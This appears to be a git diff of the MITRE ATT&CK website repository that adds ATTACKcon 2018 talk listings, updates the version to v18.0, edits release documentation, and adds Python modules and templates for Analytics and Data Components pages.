+ } + ], + "description": "The Vocabulary for Event Recording and Incident Sharing (VERIS) is a set of metrics designed to provide a common language for describing security incidents in a structured and repeatable manner. VERIS has been the base analysis framework for supporting the Verizon Data Breach Investigations Report (DBIR) since its inception. However, as organizations work to interpret the richness of information present on the DBIR to a more tactical level, the Threat Action Varieties available on VERIS fail to capture the detail present on the incidents recorded. This talk presents the Verizon Common Attack Framework (VCAF), an effort from the Security Data Science team and the DBIR team in Verizon to expand and map the ATT&CK framework in alignment with the DBIR Threat Action Varieties to provide this much-sought level of granularity in recording and analyzing recorded breaches. Additionally, this talk describes possible outcomes when this data is available and organized as such. Examples include applying DBIR-inspired attack vector analytics upon ATT&CK layer information, effectively identifying optimal control choke points on the attack graphs according to specific industries covered by the DBIR.", + "video": "https://www.youtube.com/watch?v=-NtYYqUGEco&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=9&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-vcaf-expanding-the-attck-framework-to-cover-veris-threat-action-varieties-alex-pinto-verizon" + }, + { + "title": "Playing Devil’s Advocate to Security Initiatives with ATT&CK", + "presenters": [ + { + "names": [ + "David Middlehurst" + ], + "organization": "Trustwave" + } + ], + "description": "This talk presents a case study which demonstrates that we should consider the knowledge and wisdom contained within ATT&CK in all organizational security initiatives to make sure by fixing one thing we have not just created an opportunity. The presentation shows how to leverage the analysis and classification of APT tactics and procedures (TTP) to guide research into new and novel techniques, specifically focusing on exfiltration and command and control. DNS over HTTPS (DoH) aims to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks. Major web browsers such as Firefox are considering its implementation by default. But what could this possibly mean for exfiltration and command and control? This session provides an end-to-end demo that shows DoH being implemented to provide full command and control in a popular attack simulation framework and discusses associated mitigations.", + "video": "https://www.youtube.com/watch?v=4sNaScEg32s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=10&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-playing-devils-advocate-to-security-initiatives-with-attck-david-middlehurst-trustwave" + }, + { + "title": "From Red VS Blue to Red Loves Blue", + "presenters": [ + { + "names": [ + "Olaf Hartong", + "Vincent Van Mieghem" + ], + "organization": "Deloitte" + } + ], + "description": "This session discusses Deloitte’s purple teaming approach which is using ATT&CK as a guiding principle to help both teams improve. This session shows how this works in a customer scenario, how to scope that scenario, how to plan the scenario and choose the various TTPs to be covered to how we assist the customers blue team in understanding the TTPs and helping them design detective capabilities for them. When the Blue Team is able to connect the dots from offensive activities in the network and what they see in their logs, rewalls, SIEMs, etc. they have the ability to fully understand what adversaries do and what the TTP’s of attackers actually look like if they are active in their network. It’s much easier to find the needle in the haystack if you know there is a needle to find to begin with. Purple teaming is providing this pointy needle, used to accelerate the Blue Team.", + "video": "https://www.youtube.com/watch?v=7OK3fOZ7NXM&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=11&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-red-vs-blue-to-red-blue-olaf-hartong-and-vincent-van-mieghem-deloitte" + }, + { + "title": "Helping Your Non-Security Executives Understand ATT&CK in 10 Minutes or Less", + "presenters": [ + { + "names": [ + "Elly Searle" + ], + "organization": "CrowdStrike" + } + ], + "description": "ATT&CK is an incredibly valuable framework for describing and analyzing what’s happening in your environment. Sometimes security professionals not only need a way to understand, but also need a way to clearly articulate to non-security leadership to gain support and investment in needed resourcing. Using UX design methods, CrowdStrike came up with a mental model and more conversational terms to help anyone quickly parse the big picture.", + "video": "https://www.youtube.com/watch?v=eZsMHSE2PDc&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=12&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-helping-your-nonsecurity-executives-understand-attck-in-10-minutes-or-less-elly-searle-crowdstrike" + }, + { + "title": "ATT&CK as a Teacher", + "presenters": [ + { + "names": [ + "Travis Smith" + ], + "organization": "Tripwire" + } + ], + "description": "ATT&CK is valuable for those of us who are heads down in security day in and day out. But what about using ATT&CK to each college interns about security? This presentation details how Tripwire used ATT&CK to build- out a new training regimen for summer interns. By going through and finding quick wins, Tripwire’s interns were actively engaged in learning about security. The detailed break downs of ATT&CK were greatly beneficial in helping teach security concepts to those who were not yet familiar with them. This session shows the program details and how you might be able to adapt it to your requirements.", + "video": "https://www.youtube.com/watch?v=4s3pZirFCPk&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=13&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-as-a-teacher-travis-smith-tripwire" + }, + { + "title": "Detection Philosophy, Evolution & ATT&CK", + "presenters": [ + { + "names": [ + "Fred Stankowski", + "Travis McWaters" + ], + "organization": "Pepsico" + } + ], + "description": "This lightning talk is a brief discussion around how PepsiCo is managing their ‘detection catalog’ and how it maps and is enhanced by the MITRE ATT&CK framework.", + "video": "https://www.youtube.com/watch?v=bFFi3Vqrp2o&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=14&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-detection-philosophy-evolution-attck-fred-stankowski-travis-mcwaters" + }, + { + "title": "Decision Analysis Applications in Threat Analysis Frameworks", + "presenters": [ + { + "names": [ + "Emily Shawgo" + ], + "organization": "PNC" + } + ], + "description": "In the modern age, all organizations face threats from various types of cyber attacks. Although great strides have been made to consider human factors in cybersecurity and to become more proactive in threat analysis, security is still generally a reactive, technical field. The research presented in this talk seeks to develop a framework which adapts the existing MITRE ATT&CK framework to look at attacks in a less linear, more human-centered framework that focuses on the capabilities and decisions of the threat actor. The framework approaches threat analysis from a binary assessment of success vs. failure in order to see the entire attack and consider the potential for a number of methods and attempts made in a single attack. A detailed methodology and sample charts are included for a reference and a starting point in developing one’s own personalized charts, and recommendations are made for ways to integrate this methodology into the risk management process.", + "video": "https://www.youtube.com/watch?v=3JMVP6rkY8Y&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=15&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-decision-analysis-applications-in-threat-analysis-frameworks-emily-shawgo-pnc" + }, + { + "title": "Building an Atomic Testing Program", + "presenters": [ + { + "names": [ + "Brian Beyer" + ], + "organization": "Red Canary" + } + ], + "description": "Red Canary’s applied research team built the Atomic Red Team project based on a simple idea: encourage security teams to test their systems. Leveraging MITRE ATT&CK, the series of small tests can be combined into chains to help teams gain insight into gaps in their security program at all levels. This talk describes how to use Atomic Red Team and how MITRE ATT&CK is leveraged to write the tests.", + "video": "https://www.youtube.com/watch?v=MZZzYaNUfjE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=16&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-building-an-atomic-testing-program-brian-beyer-red-canary" + }, + { + "title": "5 Ways to Screw Up Your Security Program with ATT&CK", + "presenters": [ + { + "names": [ + "Kyle Rainey" + ], + "organization": "Red Canary" + } + ], + "description": "Over the past year there has been a significant uptick in adoption of MITRE ATT&CK. Adoption of a common language and taxonomy for adversarial tactics and techniques comes with a few unspoken traps. This talk is to bring awareness to the pitfalls of implementing and adopting any variation of MITRE ATT&CK and how you can avoid falling for them.", + "video": "https://www.youtube.com/watch?v=MBVxaE9oaMQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=17&t=0s" + }, + { + "title": "ATT&CK + OSQuery = Love", + "presenters": [ + { + "names": [ + "Scott Lundgren" + ], + "organization": "Carbon Black" + } + ], + "description": "MITRE ATT&CK is cool and it's open, with a heavy emphasis on how attackers behave on the endpoint. OSQuery is cool and it's open, with a heavy emphasis on endpoint visibility. This talk focuses on an open-source extension to OSQuery that provides a free, repeatable mechanism to identify and detect ATT&CK techniques.", + "video": "https://www.youtube.com/watch?v=scI1AvZUBCo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=18&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-osquery-love-scott-lundgren-carbon-black" + }, + { + "title": "An ATT&CK Review of 200 Hybrid-Analysis Submissions", + "presenters": [ + { + "names": [ + "James Lerud" + ], + "organization": "Verodin" + } + ], + "description": "How can you consistently categorize Techniques a given piece of malware uses? The answer to this question could be provided by sandbox vendors. CrowdStrike has embraced ATT&CK by including Technique detection in their public Hybrid-Analysis reports. This talk reviews the submission results of 100 malicious and 100 benign executables.", + "video": "https://www.youtube.com/watch?v=GDIPEYdTmCE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=19&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-an-attck-review-of-200-hybridanalysis-submissions-james-lerud-verodin" + }, + { + "title": "From Technique to Detection", + "presenters": [ + { + "names": [ + "Paul Ewing", + "Ross Wolf" + ], + "organization": "Endgame" + } + ], + "description": "This session is a practical guide for a rapid prototyping of ATT&CK-based analytics – from technique to detection.", + "video": "https://www.youtube.com/watch?v=a3hIIzJrH14&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=20&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-technique-to-detection-paul-ewing-and-ross-wolf-endgame" + }, + { + "title": "Hunters ATT&CKing with the Data", + "presenters": [ + { + "names": [ + "Roberto Rodriguez" + ], + "organization": "SpecterOps" + }, + { + "names": [ + "Jose Luis Rodriguez" + ], + "organization": "Student" + } + ], + "description": "With the development of the MITRE ATT&CK framework and its categorization of adversary activity during the attack cycle, understanding what to hunt for has become easier and more efficient than ever. However, organizations are still struggling to understand how they can prioritize the development of hunt hypothesis, assess their current security posture, and develop the right analytics with the help of ATT&CK. Even though there are several ways to utilize ATT&CK to accomplish those goals, there are only a few that are focusing primarily on the data that is currently being collected to drive the success of a hunt program. This presentation shows how organizations can benefit from mapping their current visibility from a data perspective to the ATT&CK framework. It focuses on how to identify, document, standardize and model current available data to enhance a hunt program. It presents an updated ThreatHunter-Playbook, a Kibana ATT&CK dashboard, a new project named Open Source Security Events Metadata known as OSSEM and expands on the “data sources” section already provided by ATT&CK on most of the documented adversarial techniques.", + "video": "https://www.youtube.com/watch?v=QCDBjFJ_C3g&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=21&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-hunters-attcking-with-the-data-robert-rodriguez-specterops-and-jose-luis-rodriguez-student" + }, + { + "title": "Analyzing Targeted Intrusions Through the Lens of the ATT&CK Framework", + "presenters": [ + { + "names": [ + "Karl Scheuerman" + ], + "organization": "CrowdStrike" + } + ], + "description": "The security community is quickly adopting the MITRE ATT&CK matrix as a framework for understanding and analyzing targeted intrusions. However, one of its potential limitations is a lack of detailed historical intrusion data for developing accurate and thorough ATT&CK-based threat modeling. Crowdstrike’s Falcon OverWatch threat hunting team analyzes adversary behavior on a regular basis. The amount of OverWatch's malicious intrusion data is significant given the valuable telemetry delivered by Falcon's endpoint technology. As a result, CrowdStrike has amassed a rich data library of malicious activity that can be applied to the ATT&CK model. The OverWatch Strategic Counter-Adversary Research (SCAR) team has now evaluated all OverWatch intrusion data since January 1, 2018 through the lens of the ATT&CK framework. This presentation presents these findings and highlights cases of unique adversary TTP use. The results of this analysis will provide a baseline from which CrowdStrike can better identify changes in threat actor TTP trends moving forward. In addition, the presentation discusses limitations in this type of research.", + "video": "https://www.youtube.com/watch?v=Rg64nPqqs8s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=22&t=0s" + }, + { + "title": "End User Panel Disussion", + "moderator": { + "name": "Katie Nickels", + "organization": "MITRE" + }, + "panelists": [ + "Jon Bagg, Booz Allen Hamilton", + "Daniel Bernholz, JPMorgan Chase", + "Dave Westgard, Target Corporation" + ], + "topics": [ + "What are the best practices and lessons learned for organizations who are just getting started with ATT&CK?", + "What has been the most difficult part of implementing ATT&CK? What changes could be made to ATT&CK to make it easier for others in the future?", + "Where would you like to see ATT&CK go in the future that would help make it more useful for your team?", + "What else haven’t we talked about that you think is important for someone who wants to use ATT&CK to know?" + ], + "video": "https://www.youtube.com/watch?v=wJoMKYfM7OQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=23&t=0s" + }, + { + "title": "Sofacy 2018 and the Adversary Playbook", + "presenters": [ + { + "names": [ + "Robert Falcone" + ], + "organization": "Palo Alto Networks" + } + ], + "description": "Unit 42 researches threat activity and publishes detailed reports on attack campaigns launched by these adversaries. One of these adversaries, known as Sofacy, has been carrying out attack campaigns on high profile targets for many years and has continued into 2018. To understand how to defend against these threats, an analyst has to read our reports, process them and mentally map them to their defenses. In most cases we expect readers just \"block\" all of the indicators we include in the report and assume they are covered. Last year we started using ATT&CK to codify the techniques we observed, linking those techniques to indicator patterns and encoding them into STIX 2 objects, with the goal of creating something that a defender can use to answer the question: \"How am I defending against this adversary?\" We call these documents, \"Adversary Playbooks\" as they contain our best approximation of how the adversary launches their attacks. This talk describes the concept of Adversary Playbooks, as well as provides an overview of the attack campaigns Unit 42 has attributed to the Sofacy group in 2018. It uses the discussed attacks to show how these playbooks are constructed and explain some of the challenges of incorporating ATT&CK and STIX 2 together for this purpose.", + "video": "https://www.youtube.com/watch?v=4CBES3xv3Zg&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=24&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-sofacy-2018-and-the-adversary-playbook-robert-falcone-palo-alto-networks" + }, + { + "title": "From Automation to Analytics: Simulating the Adversary to Create Better Detections", + "presenters": [ + { + "names": [ + "David Herrald", + "Ryan Kovar" + ], + "organization": "Splunk" + } + ], + "description": "Security teams have more detection tools at their disposal than ever before, yet most are still struggling to find even the most basic malicious activity occurring in their environments. Building effective detection analytics requires realistic data and the ability to iterate quickly in a rapid analytic development cycle. This talk introduces a full lifecycle attack simulation and analytics development environment featuring the MITRE ATT&CK framework and the Atomic Red Team project using Splunk and Splunk Phantom mapped to an imaginary APT group, Taedonggang. It focuses on how security teams can use such a system to rapidly develop and share new detection analytics. Links to all components referenced in the talk are provided, including a cloud-based dataset that can act as a playground for users who want to see the results of the activity.", + "video": "https://www.youtube.com/watch?v=ZRixr6QshEs&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=25&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-automation-to-analytics-simulating-the-adversary-to-create-better-detections-david-herrald-and-ryan-kovar-splunk" + }, + { + "title": "The Use of Game Theory with MITRE ATT&CK", + "presenters": [ + { + "names": [ + "Matt Summers", + "Nick Dunn" + ], + "organization": "NCC Group" + } + ], + "description": "This presentation shows how the use of game theory with the ATT&CK framework can produce better attack and defense strategies.", + "video": "https://www.youtube.com/watch?v=UcZBAY18UXo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=26&t=0s", + "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-the-use-of-game-theory-with-mitre-attck-matt-summers-and-nick-dunn-ncc-group" + } ] -}] + } +] diff --git a/data/versions.json b/data/versions.json index 2102d673dad..f4bbf861ab8 100644 --- a/data/versions.json +++ b/data/versions.json @@ -1,11 +1,19 @@ { "current": { - "name": "v17.1", - "date_start": "April 22, 2025", - "changelog": "updates-april-2025", - "cti_url": "https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.1" + "name": "v18.0", + "date_start": "October 28, 2025", + "changelog": "updates-october-2025", + "cti_url": "https://github.com/mitre/cti/releases/tag/ATT%26CK-v18.0" }, "previous": [ + { + "name": "v17.1", + "date_start": "April 22, 2025", + "date_end": "October 27, 2025", + "changelog": "updates-april-2025", + "cti_url": "https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.1", + "commit": "d93e32a77e2e5935563d723b538fd8241ca99d8a" + }, { "name": "v16.1", "date_start": "October 31, 2024", diff --git a/docs/RELEASE.md b/docs/RELEASE.md index ea643d74a16..a4ce9e36fac 100644 --- a/docs/RELEASE.md +++ b/docs/RELEASE.md @@ -124,10 +124,9 @@ Consult these sections as needed for step 5 in the above list. * `cti_url`: should be tag URL for the release on the mitre/cti repo * `commit`: should be sha256 hash of latest commit from mitre-attack/attack-website on the `gh-pages` branch prior to new content release - * Run the `archive-website.py` script to get the previously released archives of the ATT&CK website * Upload the `tar.gz` of the latest previous version of the website to the [Archived Website Files](https://github.com/mitre-attack/attack-website/releases/tag/archived-website-files) release - * Optional - If sufficient changes were made to the archive process the re-upload all `tar.gz` files + * Optional - If sufficient changes were made to the archive process then re-upload all `tar.gz` files * Update notes * Add new file: `modules/resources/static_pages/updates--.md` * Update former updates announcement file to specify end date of old release @@ -138,6 +137,7 @@ Consult these sections as needed for step 5 in the above list. * Release [ATT&CK content version X.Y](https://github.com/mitre/cti/releases/tag/ATT%26CK-vX.Y). See the release notes [here](https://attack.mitre.org/resources/updates/updates--/). ``` + * Update the `layer_version` and `navigator_version` in `modules/site_config.py` if navigator version or navigator layer version has been updated.
Check the layer specification version [here](https://github.com/mitre-attack/attack-navigator/blob/master/layers/spec/) and the navigator version [here](https://github.com/mitre-attack/attack-navigator/blob/master/CHANGELOG.md). @@ -157,5 +157,6 @@ Check the layer specification version [here](https://github.com/mitre-attack/att * Release ATT&CK content version X.Y. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-vX.Y). ``` + * Update the `layer_version` and `navigator_version` in `modules/site_config.py` if navigator version or navigator layer version has been updated.
Check the layer specification version [here](https://github.com/mitre-attack/attack-navigator/blob/master/layers/spec/) and the navigator version [here](https://github.com/mitre-attack/attack-navigator/blob/master/CHANGELOG.md). diff --git a/modules/analytics/__init__.py b/modules/analytics/__init__.py new file mode 100644 index 00000000000..90c8b9cc820 --- /dev/null +++ b/modules/analytics/__init__.py @@ -0,0 +1,9 @@ +from . import analytics, analytics_config + + +def get_priority(): + return analytics_config.priority + + +def run_module(): + return analytics.generate_analytic_overview(), analytics_config.module_name diff --git a/modules/analytics/analytics.py b/modules/analytics/analytics.py new file mode 100644 index 00000000000..3f6a86d2fcb --- /dev/null +++ b/modules/analytics/analytics.py @@ -0,0 +1,93 @@ +import json +import os + +from modules import util +from loguru import logger + +from . import analytics_config + + +def generate_analytic_overview(): + """Verify analytic directory and generate analytic index markdown.""" + # Create content pages directory if does not already exist + util.buildhelpers.create_content_pages_dir() + + # Move templates to templates directory + util.buildhelpers.move_templates(analytics_config.module_name, analytics_config.analytics_templates_path) + + # Verify if directory exists + if not os.path.isdir(analytics_config.analytic_markdown_path): + os.mkdir(analytics_config.analytic_markdown_path) + + # Generate markdown files used for page generation + analytic_generated = generate_markdown_file() + if not analytic_generated: + util.buildhelpers.remove_module_from_menu(analytics_config.module_name) + + +def generate_markdown_file(): + """Generate table data for all analytics.""" + has_analytics = False + + analytics = util.relationshipgetters.get_analytic_list() + active_analytics = util.buildhelpers.filter_deprecated_revoked(analytics) + + if active_analytics: + has_analytics = True + else: + logger.debug("No analytics found") + + if has_analytics: + # Generate sidebar data + data = { + "sidebar_data": util.buildhelpers.get_side_menu_data("Analytics", "/analytics/", []), + "total_count": str(len(active_analytics)), + "analytics_table": get_analytic_table(active_analytics), + } + subs = analytics_config.analytic_index_md + json.dumps(data) + with open(os.path.join(analytics_config.analytic_markdown_path, "overview.md"), "w", encoding="utf8") as md_file: + md_file.write(subs) + + return has_analytics + + +def get_analytic_table(analytics): + """Generate analytic table for overview page.""" + analytic_table = [] + + for analytic in analytics: + attack_id = util.buildhelpers.get_attack_id(analytic) + if not attack_id: + continue + + domains = analytic.get("x_mitre_domains", []) + domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains] + row = { + "id": attack_id, + "name": analytic.get("name"), + "platforms": analytic.get("x_mitre_platforms", []), + "domains": domain_names, + "description": analytic.get("description", ""), + "deprecated": analytic.get("x_mitre_deprecated", False), + "detection_strategy": get_related_detection_strategies(analytic["id"]), + "url": util.buildhelpers.get_analytic_url(analytic), + } + analytic_table.append(row) + + # sort by id + return sorted(analytic_table, key=lambda k: k["id"]) + + +def get_related_detection_strategies(analytic_ref): + related_dets = util.stixhelpers.get_related_detection_strategies(analytic_ref) + if not related_dets: + logger.debug(f"No related detection strategy found for analytic {analytic_ref}") + + det_data = [] + for det in related_dets: + attack_id = util.buildhelpers.get_attack_id(det) + det_data.append({ + "id": attack_id, + "url": f"/detectionstrategies/{attack_id}" + }) + return det_data diff --git a/modules/analytics/analytics_config.py b/modules/analytics/analytics_config.py new file mode 100644 index 00000000000..20c59fc2de3 --- /dev/null +++ b/modules/analytics/analytics_config.py @@ -0,0 +1,19 @@ +from string import Template + +module_name = "Analytics" +module_tab_name = "Defenses" +priority = 5.2 + +# Markdown path +analytic_markdown_path = "content/pages/analytics/" + +# Path for templates +analytics_templates_path = "modules/analytics/templates/" + +# String template for index/overview page +analytic_index_md = ( + "Title: Analytic Overview\n" + "Template: analytics/analytics-index\n" + "save_as: analytics/index.html\n" + "data: " +) diff --git a/modules/analytics/templates/analytics-index.html b/modules/analytics/templates/analytics-index.html new file mode 100644 index 00000000000..2d18e51d4a7 --- /dev/null +++ b/modules/analytics/templates/analytics-index.html @@ -0,0 +1,108 @@ +{% extends "general/two-column.html" %} +{% set title = "Analytics | MITRE ATT&CK®" %} +{% set parsed = page.data | from_json %} +{% set active_page = "analytics" -%} +{% import 'macros/navigation.html' as navigation %} +{% import 'macros/clean_output.html' as clean_output %} + +{% block innerleft %} + +

+ {{ navigation.sidenav(parsed.sidebar_data, output_file) }} +
+ +{% endblock %} + +{% block innerright %} + {{ super () }} + +
+
+
+
+
+
+

Analytics

+

+ Analytics contain platform-specific detection logic and represent the + implementation details of a detection strategy. +

+
Analytics: {{ parsed.total_count }}
+
+ + + + + + + + + + + + {% for row in parsed.analytics_table %} + + + + + + + + {% endfor %} + +
IDPlatform + + Detection StrategyDescription
+ {{ row.id | upper }} + {{ row.platforms|join(", ") }} + {% for domain in row.domains %} + {{ domain }}
+ {% endfor %} +
+ {% set dets = row.detection_strategy %} + {% for det in dets %} + {{ det.id | upper }} +
+ {% endfor %} +
+ {% if row.deprecated %} + ****Deprecation Warning**** + {% endif %} + {{ clean_output.stixToHTML(row.description) }} +
+
+
+
+
+
+
+{% endblock %} + +{% block scripts %} + {{ super() }} + + + +{% endblock %} \ No newline at end of file diff --git a/modules/assets/templates/assets-index.html b/modules/assets/templates/assets-index.html index fb66fc70f94..3bd6c028e49 100644 --- a/modules/assets/templates/assets-index.html +++ b/modules/assets/templates/assets-index.html @@ -33,7 +33,7 @@

Assets

Often, these devices have different names or sector specific terms as you look across the industry. To track these differences more accurately, we use the “Related Assets” field which associates these terms based on similar functions, architectural location, and exposure to similar adversary techniques. Each related asset includes a name, optional sector identifier, and a description to provide nuance to the asset page definition.

- Although originally represented under the platform field in ATT&CK, Assets are distinctly separate from platforms. Platforms generally describe the operating system or application (i.e., Microsoft Windows) while Assets represent the device which includes considerations for hardware, software, architecture, and intended function. Assets may leverage platforms to describe a device’s commonly observed operating system. + Although originally represented under the platform field in ATT&CK, Assets are distinctly separate from platforms. Platforms generally describe the operating system or application (i.e., Microsoft Windows) while Assets represent the device which includes considerations for hardware, software, architecture, systems, and intended function. Assets may leverage platforms to describe a device’s commonly observed operating system.

Assets: {{ parsed.assets_list_len }}
diff --git a/modules/datacomponents/__init__.py b/modules/datacomponents/__init__.py new file mode 100644 index 00000000000..36d7949772c --- /dev/null +++ b/modules/datacomponents/__init__.py @@ -0,0 +1,9 @@ +from . import datacomponents, datacomponents_config + + +def get_priority(): + return datacomponents_config.priority + + +def run_module(): + return datacomponents.generate_datacomponents(), datacomponents_config.module_name diff --git a/modules/datacomponents/datacomponents.py b/modules/datacomponents/datacomponents.py new file mode 100644 index 00000000000..2a795c78625 --- /dev/null +++ b/modules/datacomponents/datacomponents.py @@ -0,0 +1,183 @@ +import json +import os + +from loguru import logger + +from modules import util + +from .. import site_config +from . import datacomponents_config + + +def generate_datacomponents(): + """Responsible for verifying data component directory and starting off data component markdown generation.""" + # Create content pages directory if does not already exist + util.buildhelpers.create_content_pages_dir() + + # Move templates to templates directory + util.buildhelpers.move_templates( + datacomponents_config.module_name_no_spaces, datacomponents_config.datacomponents_templates_path + ) + + # Create content pages directory if does not already exist + util.buildhelpers.create_content_pages_dir() + + # Verify if directory exists + if not os.path.isdir(datacomponents_config.datacomponent_markdown_path): + os.mkdir(datacomponents_config.datacomponent_markdown_path) + + # Generates the markdown files to be used for page generation + datacomponent_generated = generate_markdown_files() + + if not datacomponent_generated: + util.buildhelpers.remove_module_from_menu(datacomponents_config.module_name_no_spaces) + + +def generate_markdown_files(): + """Responsible for generating datacomponent index page and getting shared data for all datacomponents.""" + mappings = util.relationshipgetters.get_logsource_to_detections_mapping() + + has_datacomponents = False + + datacomponent_list = util.relationshipgetters.get_datacomponent_list() + active_datacomponent_list = util.buildhelpers.filter_deprecated_revoked(datacomponent_list) + + # sidebar + datacomponents = {} + ms = util.relationshipgetters.get_ms() + for domain in site_config.domains: + if domain["deprecated"]: + continue + # Reads the STIX and creates a list of the ATT&CK data components filtered by domain + datacomponents[domain["name"]] = util.stixhelpers.get_datacomponent_list_from_src(ms[domain["name"]]) + + if active_datacomponent_list: + has_datacomponents = True + else: + logger.debug("No detection strategies found") + + if has_datacomponents: + notes = util.relationshipgetters.get_objects_using_notes() + + # generate sidebar + sidebar_data = util.buildhelpers.get_side_nav_domains_data("data components", datacomponents, False) + generate_sidebar_datacomponents(sidebar_data) + + data = { + "total_count": str(len(active_datacomponent_list)), + "datacomponent_table": get_datacomponent_table(active_datacomponent_list), + } + + subs = datacomponents_config.datacomponent_index_md + json.dumps(data) + with open( + os.path.join(datacomponents_config.datacomponent_markdown_path, "overview.md"), "w", encoding="utf8" + ) as md_file: + md_file.write(subs) + + # Create the markdown for the enterprise datacomponents in the STIX + for datacomponent in datacomponent_list: + generate_datacomponent_md(datacomponent, notes, mappings) + + return has_datacomponents + + +def get_datacomponent_table(datacomponent_list): + """Generate data component table for the overview page.""" + datacomponent_table = [] + + for datacomponent in datacomponent_list: + attack_id = util.buildhelpers.get_attack_id(datacomponent) + if not attack_id: + continue + + domains = datacomponent.get("x_mitre_domains", []) + domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains] + row = { + "id": attack_id, + "name": datacomponent.get("name"), + "domains": domain_names, + "description": datacomponent.get("description"), + "deprecated": datacomponent.get("x_mitre_deprecated", False), + } + datacomponent_table.append(row) + + # sort by detection strategy name + return sorted(datacomponent_table, key=lambda k: k["name"].lower()) + + +def generate_sidebar_datacomponents(sidebar_data): + """Responsible for generating the sidebar for the data component pages.""" + logger.info("Generating data components sidebar") + data = {"menu": sidebar_data} + + # Sidebar Overview + sidebar_md = datacomponents_config.sidebar_datacomponents_md + json.dumps(data) + + # write markdown to file + with open( + os.path.join(datacomponents_config.datacomponent_markdown_path, "sidebar_datacomponents.md"), + "w", + encoding="utf8", + ) as md_file: + md_file.write(sidebar_md) + + +def generate_datacomponent_md(datacomponent, notes, mappings): + """Generate markdown for individual data components.""" + attack_id = util.buildhelpers.get_attack_id(datacomponent) + if not attack_id: + return + + dates = util.buildhelpers.get_created_and_modified_dates(datacomponent) + + # build reference list + reference_list = {"current_number": 0} + reference_list = util.buildhelpers.update_reference_list(reference_list, datacomponent) + + domains = datacomponent.get("x_mitre_domains", []) + + # get list of detection strategies and technique associated with them + datacomponent_information = mappings.get(datacomponent.get("id"), []) + detection_strategies = [] + for detection_strategy, analytic, log_source in datacomponent_information: + technique_detected = util.relationshipgetters.get_techniques_detected_by_detectionstrategy().get( + detection_strategy["id"], [None] + ) + technique = technique_detected[0]["object"] + attack_id_technique = util.buildhelpers.get_attack_id(technique) + if attack_id_technique is None: + continue + + detection_strategy_dict = { + "id": detection_strategy['id'], + "name": detection_strategy['name'], + "attack_id": detection_strategy['external_references'][0]['external_id'], + "technique_url": f"/techniques/{attack_id_technique.replace('.', '/')}", + "technique_attack_id": attack_id_technique, + } + + detection_strategies.append(detection_strategy_dict) + + domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains] + data = { + "attack_id": attack_id, + "created": dates.get("created"), + "modified": dates.get("modified"), + "name": datacomponent.get("name"), + "description": datacomponent.get("description"), + "domains": domain_names, + "version": datacomponent.get("x_mitre_version"), + "deprecated": datacomponent.get("x_mitre_deprecated", False), + "log_sources": sorted(datacomponent.get("x_mitre_log_sources", []), key=lambda x: x["name"].lower()), + "citations": reference_list, + "notes": notes.get(datacomponent["id"]), + "detectionstrategies": detection_strategies, + } + subs = datacomponents_config.datacomponent_md.substitute(data) + subs += json.dumps(data) + + # Write the markdown file + with open( + os.path.join(datacomponents_config.datacomponent_markdown_path, attack_id + ".md"), "w", encoding="utf8" + ) as md_file: + md_file.write(subs) diff --git a/modules/datacomponents/datacomponents_config.py b/modules/datacomponents/datacomponents_config.py new file mode 100644 index 00000000000..df8a4bee2ee --- /dev/null +++ b/modules/datacomponents/datacomponents_config.py @@ -0,0 +1,32 @@ +from string import Template + +module_name = "Data Components" +module_name_no_spaces = "datacomponents" + +priority = 5.3 + +# Markdown path +datacomponent_markdown_path = "content/pages/datacomponents/" + +# Path for templates +datacomponents_templates_path = "modules/datacomponents/templates/" + +# String template for index/overview page +datacomponent_index_md = ( + "Title: Data Component Overview\n" + "Template: datacomponents/datacomponents-index\n" + "save_as: datacomponents/index.html\n" + "data: " +) + +# String template for individual page +datacomponent_md = Template( + "Title: ${name}\nTemplate: datacomponents/datacomponent\nsave_as: datacomponents/${attack_id}/index.html\ndata: " +) + +sidebar_datacomponents_md = ( + "Title: 